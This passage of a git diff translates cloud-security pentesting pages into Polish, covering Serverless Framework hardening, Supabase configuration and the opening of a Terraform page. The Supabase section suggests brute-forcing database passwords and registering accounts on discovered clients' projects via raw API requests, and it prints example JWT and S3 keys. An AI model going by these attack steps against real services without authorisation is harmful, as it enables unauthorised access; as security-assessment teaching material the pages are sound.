+> Dlatego każdy, kto ma uprawnienia do odczytu konfiguracji lambd w AWS, będzie mógł **uzyskać dostęp do wszystkich tych zmiennych środowiskowych w czystym tekście!**
+
+Na przykład, poniższy przykład użyje SSM do pobrania zmiennej środowiskowej:
+```yaml
+provider:
+environment:
+DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
+```
And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**.
> [!TIP]
> The recommended way to store environment variables using serveless.com would be to **store it in a AWS secret** and just store the secret name in the environment variable and the **lambda code should gather it**.
-#### **Mitigation Strategies**
+#### **Strategie łagodzenia**
-- **Secrets Manager Integration:** Use services like **AWS Secrets Manager.**
-- **Encrypted Variables:** Leverage Serverless Framework’s encryption features for sensitive data.
-- **Access Controls:** Restrict access to secrets based on roles.
+- **Integracja z Menedżerem Sekretów:** Użyj usług takich jak **AWS Secrets Manager.**
+- **Szyfrowane Zmienne:** Wykorzystaj funkcje szyfrowania Frameworka Serverless dla wrażliwych danych.
+- **Kontrola Dostępu:** Ogranicz dostęp do sekretów na podstawie ról.
---
-### **Vulnerable Code and Dependencies**
+### **Wrażliwy Kod i Zależności**
-Outdated or insecure dependencies can introduce vulnerabilities, while improper input handling may lead to code injection attacks.
+Nieaktualne lub niebezpieczne zależności mogą wprowadzać luki, podczas gdy niewłaściwe przetwarzanie danych wejściowych może prowadzić do ataków typu injection.
-#### **Mitigation Strategies**
+#### **Strategie łagodzenia**
-- **Dependency Management:** Regularly update dependencies and scan for vulnerabilities.
+- **Zarządzanie Zależnościami:** Regularnie aktualizuj zależności i skanuj pod kątem luk.
- ```yaml
- plugins:
- - serverless-webpack
- - serverless-plugin-snyk
- ```
+```yaml
+plugins:
+- serverless-webpack
+- serverless-plugin-snyk
+```
-- **Input Validation:** Implement strict validation and sanitization of all inputs.
-- **Code Reviews:** Conduct thorough reviews to identify security flaws.
-- **Static Analysis:** Use tools to detect vulnerabilities in the codebase.
+- **Walidacja Danych Wejściowych:** Wprowadź ścisłą walidację i sanitację wszystkich danych wejściowych.
+- **Przeglądy Kodów:** Przeprowadzaj dokładne przeglądy, aby zidentyfikować wady bezpieczeństwa.
+- **Analiza Statyczna:** Użyj narzędzi do wykrywania luk w kodzie.
---
-### **Inadequate Logging and Monitoring**
+### **Niewystarczające Logowanie i Monitorowanie**
-Without proper logging and monitoring, malicious activities may go undetected, delaying incident response.
+Bez odpowiedniego logowania i monitorowania, złośliwe działania mogą pozostać niezauważone, opóźniając reakcję na incydenty.
-#### **Mitigation Strategies**
+#### **Strategie łagodzenia**
-- **Centralized Logging:** Aggregate logs using services like **AWS CloudWatch** or **Datadog**.
+- **Centralne Logowanie:** Agreguj logi za pomocą usług takich jak **AWS CloudWatch** lub **Datadog**.
- ```yaml
- plugins:
- - serverless-plugin-datadog
- ```
+```yaml
+plugins:
+- serverless-plugin-datadog
+```
-- **Enable Detailed Logging:** Capture essential information without exposing sensitive data.
-- **Set Up Alerts:** Configure alerts for suspicious activities or anomalies.
-- **Regular Monitoring:** Continuously monitor logs and metrics for potential security incidents.
+- **Włącz Szczegółowe Logowanie:** Zbieraj istotne informacje bez ujawniania wrażliwych danych.
+- **Ustaw Powiadomienia:** Skonfiguruj powiadomienia o podejrzanych działaniach lub anomaliach.
+- **Regularne Monitorowanie:** Ciągłe monitorowanie logów i metryk w poszukiwaniu potencjalnych incydentów bezpieczeństwa.
---
-### **Insecure API Gateway Configurations**
+### **Niezabezpieczone Konfiguracje API Gateway**
-Open or improperly secured APIs can be exploited for unauthorized access, Denial of Service (DoS) attacks, or cross-site attacks.
+Otwarte lub niewłaściwie zabezpieczone API mogą być wykorzystywane do nieautoryzowanego dostępu, ataków typu Denial of Service (DoS) lub ataków między witrynami.
-#### **Mitigation Strategies**
+#### **Strategie łagodzenia**
-- **Authentication and Authorization:** Implement robust mechanisms like OAuth, API keys, or JWT.
+- **Uwierzytelnianie i Autoryzacja:** Wprowadź solidne mechanizmy, takie jak OAuth, klucze API lub JWT.
- ```yaml
- functions:
- hello:
- handler: handler.hello
- events:
- - http:
- path: hello
- method: get
- authorizer: aws_iam
- ```
+```yaml
+functions:
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
+authorizer: aws_iam
+```
-- **Rate Limiting and Throttling:** Prevent abuse by limiting request rates.
+- **Ograniczenie Ruchu i Throttling:** Zapobiegaj nadużyciom, ograniczając tempo żądań.
- ```yaml
- provider:
- apiGateway:
- throttle:
- burstLimit: 200
- rateLimit: 100
- ```
+```yaml
+provider:
+apiGateway:
+throttle:
+burstLimit: 200
+rateLimit: 100
+```
-- **Secure CORS Configuration:** Restrict allowed origins, methods, and headers.
+- **Zabezpieczona Konfiguracja CORS:** Ogranicz dozwolone źródła, metody i nagłówki.
- ```yaml
- functions:
- hello:
- handler: handler.hello
- events:
- - http:
- path: hello
- method: get
- cors:
- origin: https://yourdomain.com
- headers:
- - Content-Type
- ```
+```yaml
+functions:
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
+cors:
+origin: https://yourdomain.com
+headers:
+- Content-Type
+```
-- **Use Web Application Firewalls (WAF):** Filter and monitor HTTP requests for malicious patterns.
+- **Użyj Zapór Aplikacji Webowych (WAF):** Filtruj i monitoruj żądania HTTP w poszukiwaniu złośliwych wzorców.
---
-### **Insufficient Function Isolation**
+### **Niewystarczająca Izolacja Funkcji**
-Shared resources and inadequate isolation can lead to privilege escalations or unintended interactions between functions.
+Wspólne zasoby i niewystarczająca izolacja mogą prowadzić do eskalacji uprawnień lub niezamierzonych interakcji między funkcjami.
-#### **Mitigation Strategies**
+#### **Strategie łagodzenia**
-- **Isolate Functions:** Assign distinct resources and IAM roles to ensure independent operation.
-- **Resource Partitioning:** Use separate databases or storage buckets for different functions.
-- **Use VPCs:** Deploy functions within Virtual Private Clouds for enhanced network isolation.
+- **Izoluj Funkcje:** Przypisz odrębne zasoby i role IAM, aby zapewnić niezależne działanie.
+- **Podział Zasobów:** Użyj oddzielnych baz danych lub koszyków do przechowywania dla różnych funkcji.
+- **Użyj VPC:** Wdrażaj funkcje w Wirtualnych Prywatnych Chmurach dla lepszej izolacji sieci.
- ```yaml
- provider:
- vpc:
- securityGroupIds:
- - sg-xxxxxxxx
- subnetIds:
- - subnet-xxxxxx
- ```
+```yaml
+provider:
+vpc:
+securityGroupIds:
+- sg-xxxxxxxx
+subnetIds:
+- subnet-xxxxxx
+```
-- **Limit Function Permissions:** Ensure functions cannot access or interfere with each other’s resources unless explicitly required.
+- **Ogranicz Uprawnienia Funkcji:** Upewnij się, że funkcje nie mogą uzyskiwać dostępu do zasobów innych funkcji, chyba że jest to wyraźnie wymagane.
---
-### **Inadequate Data Protection**
+### **Niewystarczająca Ochrona Danych**
-Unencrypted data at rest or in transit can be exposed, leading to data breaches or tampering.
+Nieszyfrowane dane w spoczynku lub w tranzycie mogą być narażone, prowadząc do naruszeń danych lub manipulacji.
-#### **Mitigation Strategies**
+#### **Strategie łagodzenia**
-- **Encrypt Data at Rest:** Utilize cloud service encryption features.
+- **Szyfruj Dane w Spoczynku:** Wykorzystaj funkcje szyfrowania usług chmurowych.
- ```yaml
- resources:
- Resources:
- MyDynamoDBTable:
- Type: AWS::DynamoDB::Table
- Properties:
- SSESpecification:
- SSEEnabled: true
- ```
+```yaml
+resources:
+Resources:
+MyDynamoDBTable:
+Type: AWS::DynamoDB::Table
+Properties:
+SSESpecification:
+SSEEnabled: true
+```
-- **Encrypt Data in Transit:** Use HTTPS/TLS for all data transmissions.
-- **Secure API Communication:** Enforce encryption protocols and validate certificates.
-- **Manage Encryption Keys Securely:** Use managed key services and rotate keys regularly.
+- **Szyfruj Dane w Tranzycie:** Użyj HTTPS/TLS dla wszystkich transmisji danych.
+- **Zabezpiecz Komunikację API:** Wymuś protokoły szyfrowania i waliduj certyfikaty.
+- **Zarządzaj Kluczami Szyfrującymi Bezpiecznie:** Użyj zarządzanych usług kluczy i regularnie rotuj klucze.
---
-### **Lack of Proper Error Handling**
+### **Brak Odpowiedniego Obsługi Błędów**
-Detailed error messages can leak sensitive information about the infrastructure or codebase, while unhandled exceptions may lead to application crashes.
+Szczegółowe komunikaty o błędach mogą ujawniać wrażliwe informacje o infrastrukturze lub kodzie, podczas gdy nieobsługiwane wyjątki mogą prowadzić do awarii aplikacji.
-#### **Mitigation Strategies**
+#### **Strategie łagodzenia**
-- **Generic Error Messages:** Avoid exposing internal details in error responses.
+- **Ogólne Komunikaty o Błędach:** Unikaj ujawniania wewnętrznych szczegółów w odpowiedziach błędów.
- ```javascript
- javascriptCopy code// Example in Node.js
- exports.hello = async (event) => {
- try {
- // Function logic
- } catch (error) {
- console.error(error);
- return {
- statusCode: 500,
- body: JSON.stringify({ message: 'Internal Server Error' }),
- };
- }
- };
- ```
+```javascript
+javascriptCopy code// Przykład w Node.js
+exports.hello = async (event) => {
+try {
+// Logika funkcji
+} catch (error) {
+console.error(error);
+return {
+statusCode: 500,
+body: JSON.stringify({ message: 'Internal Server Error' }),
+};
+}
+};
+```
-- **Centralized Error Handling:** Manage and sanitize errors consistently across all functions.
-- **Monitor and Log Errors:** Track and analyze errors internally without exposing details to end-users.
+- **Centralna Obsługa Błędów:** Zarządzaj i sanitizuj błędy konsekwentnie w wszystkich funkcjach.
+- **Monitoruj i Loguj Błędy:** Śledź i analizuj błędy wewnętrznie, nie ujawniając szczegółów użytkownikom końcowym.
---
-### **Insecure Deployment Practices**
+### **Niezabezpieczone Praktyki Wdrażania**
-Exposed deployment configurations or unauthorized access to CI/CD pipelines can lead to malicious code deployments or misconfigurations.
+Ujawniłe konfiguracje wdrożeniowe lub nieautoryzowany dostęp do pipeline'ów CI/CD mogą prowadzić do złośliwych wdrożeń kodu lub błędnych konfiguracji.
-#### **Mitigation Strategies**
+#### **Strategie łagodzenia**
-- **Secure CI/CD Pipelines:** Implement strict access controls, multi-factor authentication (MFA), and regular audits.
-- **Store Configuration Securely:** Keep deployment files free from hardcoded secrets and sensitive data.
-- **Use Infrastructure as Code (IaC) Security Tools:** Employ tools like **Checkov** or **Terraform Sentinel** to enforce security policies.
-- **Immutable Deployments:** Prevent unauthorized changes post-deployment by adopting immutable infrastructure practices.
+- **Zabezpiecz Pipeline'y CI/CD:** Wprowadź ścisłe kontrole dostępu, uwierzytelnianie wieloskładnikowe (MFA) i regularne audyty.
+- **Bezpieczne Przechowywanie Konfiguracji:** Utrzymuj pliki wdrożeniowe wolne od zakodowanych sekretów i wrażliwych danych.
+- **Użyj Narzędzi Bezpieczeństwa Infrastruktury jako Kodu (IaC):** Wykorzystaj narzędzia takie jak **Checkov** lub **Terraform Sentinel** do egzekwowania polityk bezpieczeństwa.
+- **Niezmienność Wdrożeń:** Zapobiegaj nieautoryzowanym zmianom po wdrożeniu, przyjmując praktyki niezmiennej infrastruktury.
---
-### **Vulnerabilities in Plugins and Extensions**
+### **Luki w Wtyczkach i Rozszerzeniach**
-Using unvetted or malicious third-party plugins can introduce vulnerabilities into your serverless applications.
+Używanie nieweryfikowanych lub złośliwych wtyczek stron trzecich może wprowadzać luki do aplikacji serverless.
-#### **Mitigation Strategies**
+#### **Strategie łagodzenia**
-- **Vet Plugins Thoroughly:** Assess the security of plugins before integration, favoring those from reputable sources.
-- **Limit Plugin Usage:** Use only necessary plugins to minimize the attack surface.
-- **Monitor Plugin Updates:** Keep plugins updated to benefit from security patches.
-- **Isolate Plugin Environments:** Run plugins in isolated environments to contain potential compromises.
+- **Dokładnie Weryfikuj Wtyczki:** Oceń bezpieczeństwo wtyczek przed integracją, preferując te z wiarygodnych źródeł.
+- **Ogranicz Użycie Wtyczek:** Używaj tylko niezbędnych wtyczek, aby zminimalizować powierzchnię ataku.
+- **Monitoruj Aktualizacje Wtyczek:** Utrzymuj wtyczki zaktualizowane, aby korzystać z poprawek bezpieczeństwa.
+- **Izoluj Środowiska Wtyczek:** Uruchamiaj wtyczki w izolowanych środowiskach, aby ograniczyć potencjalne kompromitacje.
---
-### **Exposure of Sensitive Endpoints**
+### **Ujawnienie Wrażliwych Punktów Końcowych**
-Publicly accessible functions or unrestricted APIs can be exploited for unauthorized operations.
+Funkcje dostępne publicznie lub nieograniczone API mogą być wykorzystywane do nieautoryzowanych operacji.
-#### **Mitigation Strategies**
+#### **Strategie łagodzenia**
-- **Restrict Function Access:** Use VPCs, security groups, and firewall rules to limit access to trusted sources.
-- **Implement Robust Authentication:** Ensure all exposed endpoints require proper authentication and authorization.
-- **Use API Gateways Securely:** Configure API Gateways to enforce security policies, including input validation and rate limiting.
-- **Disable Unused Endpoints:** Regularly review and disable any endpoints that are no longer in use.
+- **Ogranicz Dostęp do Funkcji:** Użyj VPC, grup zabezpieczeń i reguł zapory, aby ograniczyć dostęp do zaufanych źródeł.
+- **Wprowadź Solidne Uwierzytelnianie:** Upewnij się, że wszystkie ujawnione punkty końcowe wymagają odpowiedniego uwierzytelniania i autoryzacji.
+- **Bezpiecznie Używaj Bramek API:** Skonfiguruj bramki API, aby egzekwować polityki bezpieczeństwa, w tym walidację danych wejściowych i ograniczenie tempa.
+- **Wyłącz Nieużywane Punkty Końcowe:** Regularnie przeglądaj i wyłączaj wszelkie punkty końcowe, które nie są już używane.
---
-### **Excessive Permissions for Team Members and External Collaborators**
+### **Nadmierne Uprawnienia dla Członków Zespołu i Zewnętrznych Współpracowników**
-Granting excessive permissions to team members and external collaborators can lead to unauthorized access, data breaches, and misuse of resources. This risk is heightened in environments where multiple individuals have varying levels of access, increasing the attack surface and potential for insider threats.
+Przyznawanie nadmiernych uprawnień członkom zespołu i zewnętrznym współpracownikom może prowadzić do nieautoryzowanego dostępu, naruszeń danych i nadużyć zasobów. Ryzyko to wzrasta w środowiskach, w których wiele osób ma różne poziomy dostępu, zwiększając powierzchnię ataku i potencjał zagrożeń wewnętrznych.
-#### **Mitigation Strategies**
+#### **Strategie łagodzenia**
-- **Principle of Least Privilege:** Ensure that team members and collaborators have only the permissions necessary to perform their tasks.
+- **Zasada Najmniejszych Uprawnień:** Upewnij się, że członkowie zespołu i współpracownicy mają tylko te uprawnienia, które są niezbędne do wykonywania ich zadań.
---
-### **Access Keys and License Keys Security**
+### **Bezpieczeństwo Kluczy Dostępu i Kluczy Licencyjnych**
-**Access Keys** and **License Keys** are critical credentials used to authenticate and authorize interactions with the Serverless Framework CLI.
+**Klucze Dostępu** i **Klucze Licencyjne** to kluczowe poświadczenia używane do uwierzytelniania i autoryzacji interakcji z interfejsem CLI Frameworka Serverless.
-- **License Keys:** They are Unique identifiers required for authenticating access to Serverless Framework Version 4 which allows to login via CLI.
-- **Access Keys:** Credentials that allow the Serverless Framework CLI to authenticate with the Serverless Framework Dashboard. When login with `serverless` cli an access key will be **generated and stored in the laptop**. You can also set it as an environment variable named `SERVERLESS_ACCESS_KEY`.
+- **Klucze Licencyjne:** To unikalne identyfikatory wymagane do uwierzytelnienia dostępu do Frameworka Serverless Wersja 4, które umożliwiają logowanie przez CLI.
+- **Klucze Dostępu:** Poświadczenia, które pozwalają interfejsowi CLI Frameworka Serverless uwierzytelnić się z Dashboardem Frameworka Serverless. Podczas logowania za pomocą `serverless` cli klucz dostępu zostanie **wygenerowany i zapisany na laptopie**. Możesz również ustawić go jako zmienną środowiskową o nazwie `SERVERLESS_ACCESS_KEY`.
-#### **Security Risks**
+#### **Ryzyka Bezpieczeństwa**
-1. **Exposure Through Code Repositories:**
- - Hardcoding or accidentally committing Access Keys and License Keys to version control systems can lead to unauthorized access.
-2. **Insecure Storage:**
- - Storing keys in plaintext within environment variables or configuration files without proper encryption increases the likelihood of leakage.
-3. **Improper Distribution:**
- - Sharing keys through unsecured channels (e.g., email, chat) can result in interception by malicious actors.
-4. **Lack of Rotation:**
- - Not regularly rotating keys extends the exposure period if keys are compromised.
-5. **Excessive Permissions:**
- - Keys with broad permissions can be exploited to perform unauthorized actions across multiple resources.
+1. **Ujawnienie przez Repozytoria Kodów:**
+- Zakodowanie lub przypadkowe zatwierdzenie Kluczy Dostępu i Kluczy Licencyjnych do systemów kontroli wersji może prowadzić do nieautoryzowanego dostępu.
+2. **Niezabezpieczone Przechowywanie:**
+- Przechowywanie kluczy w postaci tekstu jawnego w zmiennych środowiskowych lub plikach konfiguracyjnych bez odpowiedniego szyfrowania zwiększa prawdopodobieństwo wycieku.
+3. **Niewłaściwa Dystrybucja:**
+- Udostępnianie kluczy przez niezabezpieczone kanały (np. e-mail, czat) może skutkować przechwyceniem przez złośliwych aktorów.
+4. **Brak Rotacji:**
+- Nieregularna rotacja kluczy wydłuża okres narażenia, jeśli klucze zostaną skompromitowane.
+5. **Nadmierne Uprawnienia:**
+- Klucze z szerokimi uprawnieniami mogą być wykorzystywane do wykonywania nieautoryzowanych działań w wielu zasobach.
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md
index 6fa6219f8..c2d719945 100644
--- a/src/pentesting-ci-cd/supabase-security.md
+++ b/src/pentesting-ci-cd/supabase-security.md
@@ -4,47 +4,46 @@
## Basic Information
-As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings.
+Zgodnie z ich [**stroną główną**](https://supabase.com/): Supabase to otwartoźródłowa alternatywa dla Firebase. Rozpocznij swój projekt z bazą danych Postgres, uwierzytelnianiem, natychmiastowymi API, funkcjami Edge, subskrypcjami w czasie rzeczywistym, przechowywaniem i osadzeniami wektorowymi.
### Subdomain
-Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`**
+Zasadniczo, gdy projekt jest tworzony, użytkownik otrzymuje subdomenę supabase.co, taką jak: **`jnanozjdybtpqgcwhdiz.supabase.co`**
## **Database configuration**
> [!TIP]
-> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/database`**
+> **Te dane można uzyskać z linku takiego jak `https://supabase.com/dashboard/project//settings/database`**
-This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\
-The password is a **password the user put** previously.
+Ta **baza danych** będzie wdrożona w jakimś regionie AWS, a aby się z nią połączyć, można to zrobić, łącząc się z: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (zostało to utworzone w us-west-1).\
+Hasło to **hasło, które użytkownik wprowadził** wcześniej.
-Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**.
+Dlatego, ponieważ subdomena jest znana i jest używana jako nazwa użytkownika, a regiony AWS są ograniczone, może być możliwe, aby spróbować **brute force hasła**.
-This section also contains options to:
+Ta sekcja zawiera również opcje do:
-- Reset the database password
-- Configure connection pooling
-- Configure SSL: Reject plan-text connections (by default they are enabled)
-- Configure Disk size
-- Apply network restrictions and bans
+- Zresetowania hasła bazy danych
+- Skonfigurowania puli połączeń
+- Skonfigurowania SSL: Odrzuć połączenia w formacie tekstowym (domyślnie są włączone)
+- Skonfigurowania rozmiaru dysku
+- Zastosowania ograniczeń i zakazów sieciowych
## API Configuration
> [!TIP]
-> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/api`**
+> **Te dane można uzyskać z linku takiego jak `https://supabase.com/dashboard/project//settings/api`**
-The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
+URL do uzyskania dostępu do API supabase w Twoim projekcie będzie wyglądał jak: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
### anon api keys
-It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in
+Wygeneruje również **anon API key** (`role: "anon"`), taki jak: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk`, który aplikacja będzie musiała użyć, aby skontaktować się z kluczem API ujawnionym w naszym przykładzie w
-It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be:
+Można znaleźć API REST do kontaktu z tym API w [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), ale najbardziej interesujące punkty końcowe to:
Signup (/auth/v1/signup)
-
```
POST /auth/v1/signup HTTP/2
Host: id.io.net
@@ -69,13 +68,11 @@ Priority: u=1, i
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
```
-
-Login (/auth/v1/token?grant_type=password)
-
+Logowanie (/auth/v1/token?grant_type=password)
```
POST /auth/v1/token?grant_type=password HTTP/2
Host: hypzbtgspjkludjcnjxl.supabase.co
@@ -100,68 +97,63 @@ Priority: u=1, i
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
```
-
-So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**.
+Więc, za każdym razem, gdy odkryjesz klienta używającego supabase z subdomeną, którą mu przyznano (możliwe, że subdomena firmy ma CNAME nad ich subdomeną supabase), możesz spróbować **utworzyć nowe konto na platformie za pomocą API supabase**.
-### secret / service_role api keys
+### klucze api secret / service_role
-A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**.
+Sekretny klucz API również zostanie wygenerowany z **`role: "service_role"`**. Ten klucz API powinien być sekretny, ponieważ będzie mógł obejść **Row Level Security**.
-The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
+Klucz API wygląda tak: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
### JWT Secret
-A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**.
+**JWT Secret** również zostanie wygenerowany, aby aplikacja mogła **tworzyć i podpisywać niestandardowe tokeny JWT**.
-## Authentication
+## Uwierzytelnianie
-### Signups
+### Rejestracje
> [!TIP]
-> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints.
+> Domyślnie supabase pozwoli **nowym użytkownikom na tworzenie kont** w Twoim projekcie, korzystając z wcześniej wspomnianych punktów końcowych API.
-However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\
-This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those:
+Jednak te nowe konta, domyślnie, **będą musiały zweryfikować swój adres e-mail**, aby móc zalogować się na konto. Możliwe jest włączenie **"Zezwól na anonimowe logowanie"**, aby umożliwić ludziom logowanie się bez weryfikacji adresu e-mail. Może to dać dostęp do **nieoczekiwanych danych** (otrzymują role `public` i `authenticated`).\
+To bardzo zły pomysł, ponieważ supabase pobiera opłaty za aktywnego użytkownika, więc ludzie mogą tworzyć użytkowników i logować się, a supabase będzie pobierać opłaty za tych:
-### Passwords & sessions
+### Hasła i sesje
-It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\
-It's recommended to **improve the requirements as the default ones are weak**.
+Możliwe jest wskazanie minimalnej długości hasła (domyślnie), wymagań (brak domyślnie) i zabronienie używania wyciekłych haseł.\
+Zaleca się **poprawienie wymagań, ponieważ domyślne są słabe**.
-- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...)
-- Bot and Abuse Protection: It's possible to enable Captcha.
+- Sesje użytkowników: Możliwe jest skonfigurowanie, jak działają sesje użytkowników (czasy oczekiwania, 1 sesja na użytkownika...)
+- Ochrona przed botami i nadużyciami: Możliwe jest włączenie Captcha.
-### SMTP Settings
+### Ustawienia SMTP
-It's possible to set an SMTP to send emails.
+Możliwe jest ustawienie SMTP do wysyłania e-maili.
-### Advanced Settings
+### Ustawienia zaawansowane
-- Set expire time to access tokens (3600 by default)
-- Set to detect and revoke potentially compromised refresh tokens and timeout
-- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default)
-- Max Direct Database Connections: Max number of connections used to auth (10 by default)
-- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default)
+- Ustaw czas wygaśnięcia dla tokenów dostępu (3600 domyślnie)
+- Ustaw wykrywanie i unieważnianie potencjalnie skompromitowanych tokenów odświeżania oraz czas oczekiwania
+- MFA: Wskaź, ile czynników MFA może być zarejestrowanych jednocześnie na użytkownika (10 domyślnie)
+- Maksymalna liczba bezpośrednich połączeń z bazą danych: Maksymalna liczba połączeń używanych do uwierzytelniania (10 domyślnie)
+- Maksymalny czas trwania żądania: Maksymalny czas, przez jaki żądanie uwierzytelnienia może trwać (10s domyślnie)
-## Storage
+## Przechowywanie
> [!TIP]
-> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets).
+> Supabase pozwala **przechowywać pliki** i udostępniać je za pośrednictwem URL (używa koszyków S3).
-- Set the upload file size limit (default is 50MB)
-- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
-- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
+- Ustaw limit rozmiaru pliku do przesłania (domyślnie 50MB)
+- Połączenie S3 jest podawane za pomocą URL, takiego jak: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
+- Możliwe jest **zażądanie klucza dostępu S3**, który składa się z `access key ID` (np. `a37d96544d82ba90057e0e06131d0a7b`) i `secret access key` (np. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
-## Edge Functions
+## Funkcje Edge
-It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly).
+Możliwe jest również **przechowywanie sekretów** w supabase, które będą **dostępne przez funkcje edge** (mogą być tworzone i usuwane z sieci, ale nie można uzyskać dostępu do ich wartości bezpośrednio).
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md
index 09b875ff2..4c23bb885 100644
--- a/src/pentesting-ci-cd/terraform-security.md
+++ b/src/pentesting-ci-cd/terraform-security.md
@@ -2,307 +2,277 @@
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## Podstawowe informacje
-[From the docs:](https://developer.hashicorp.com/terraform/intro)
+[Z dokumentacji:](https://developer.hashicorp.com/terraform/intro)
-HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features.
+HashiCorp Terraform to **narzędzie infrastruktury jako kod**, które pozwala definiować zarówno **zasoby w chmurze, jak i lokalne** w czytelnych dla ludzi plikach konfiguracyjnych, które można wersjonować, ponownie używać i udostępniać. Możesz następnie używać spójnego przepływu pracy do provisionowania i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci masowej i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS.
-#### How does Terraform work?
+#### Jak działa Terraform?
-Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API.
+Terraform tworzy i zarządza zasobami na platformach chmurowych i innych usługach za pośrednictwem ich interfejsów programowania aplikacji (API). Dostawcy umożliwiają Terraformowi pracę z praktycznie każdą platformą lub usługą z dostępnym API.
.png>)
-HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more.
